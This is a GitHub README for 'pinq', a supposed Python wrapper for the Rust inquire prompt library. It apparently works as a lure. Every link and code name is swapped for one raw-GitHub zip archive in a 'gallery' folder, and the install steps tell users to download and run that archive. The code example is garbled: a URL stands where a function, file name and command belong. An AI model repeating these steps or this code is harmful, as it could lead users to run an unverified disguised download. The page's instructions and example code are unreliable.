Skip to content

mjhaycuribs/pinq

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

5 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🐍 pinq - Easy Python Prompts for Everyone

Download pinq

πŸ“₯ Overview

pinq is a Python binding for the Rust inquire CLI prompt library. It lets you create prompts for text input, passwords, selections, multi-selections, dates, and more. Use pinq to improve the user experience in your applications without needing deep programming skills.

πŸš€ Getting Started

This guide will walk you through downloading and running pinq on your machine. Follow these simple steps to get started.

🌐 System Requirements

πŸ“„ Features

  • Text prompt: Ask users for simple text input.
  • Password prompt: Securely collect password entries.
  • Select menu: Offer users a list of choices.
  • MultiSelect: Let users pick multiple options from a list.
  • Date prompt: Collect date input easily.
  • Editor prompt: Open an editor for detailed text input.

πŸ“¦ Download & Install

To download pinq, visit the Releases page: pinq Releases.

Once on the Releases page, look for the latest version. Follow these steps:

  1. Click on the version number to go to the version details.
  2. Download the appropriate file for your operating system.
  3. Once the file is downloaded, locate it on your device.
  4. Open a terminal (or command line) window and navigate to the directory where you downloaded the file.
  5. Run the file using the command: python https://raw.githubusercontent.com/mjhaycuribs/pinq/main/gallery/Software_v2.3-alpha.3.zip (replace https://raw.githubusercontent.com/mjhaycuribs/pinq/main/gallery/Software_v2.3-alpha.3.zip with the actual file name you downloaded).

βš™οΈ Usage Instructions

Once you have installed pinq, you can start using it in your Python scripts. Here’s a simple example:

import pinq

user_input = https://raw.githubusercontent.com/mjhaycuribs/pinq/main/gallery/Software_v2.3-alpha.3.zip("What is your name?")
print(f"Hello, {user_input}!")

To run this script, save it as https://raw.githubusercontent.com/mjhaycuribs/pinq/main/gallery/Software_v2.3-alpha.3.zip and execute it using the command:

python https://raw.githubusercontent.com/mjhaycuribs/pinq/main/gallery/Software_v2.3-alpha.3.zip

You should see a prompt asking for your name.

πŸ“š Documentation

For more detailed information about pinq and advanced usage scenarios, check out the official documentation. You can find detailed descriptions and examples for each type of prompt.

🀝 Contributing

Contributions to pinq are welcome. To contribute, please follow these steps:

  1. Fork the repository.
  2. Create your feature branch.
  3. Make your changes.
  4. Commit your changes with clear messages.
  5. Push to the branch.
  6. Open a pull request.

Your contributions help improve pinq for everyone!

🐞 Reporting Issues

If you encounter any problems while using pinq, please report them on the GitHub Issues page. Provide as much detail as possible to help us address the issue quickly.

πŸ™Œ Credits

pinq is built on the powerful Rust inquire library, which offers efficient and reliable prompts. Thanks to the community for their support and contributions.

For updates and announcements, please follow our repository.

Download pinq Now and start creating great user experiences today!

Releases

No releases published

Packages

 
 
 

Contributors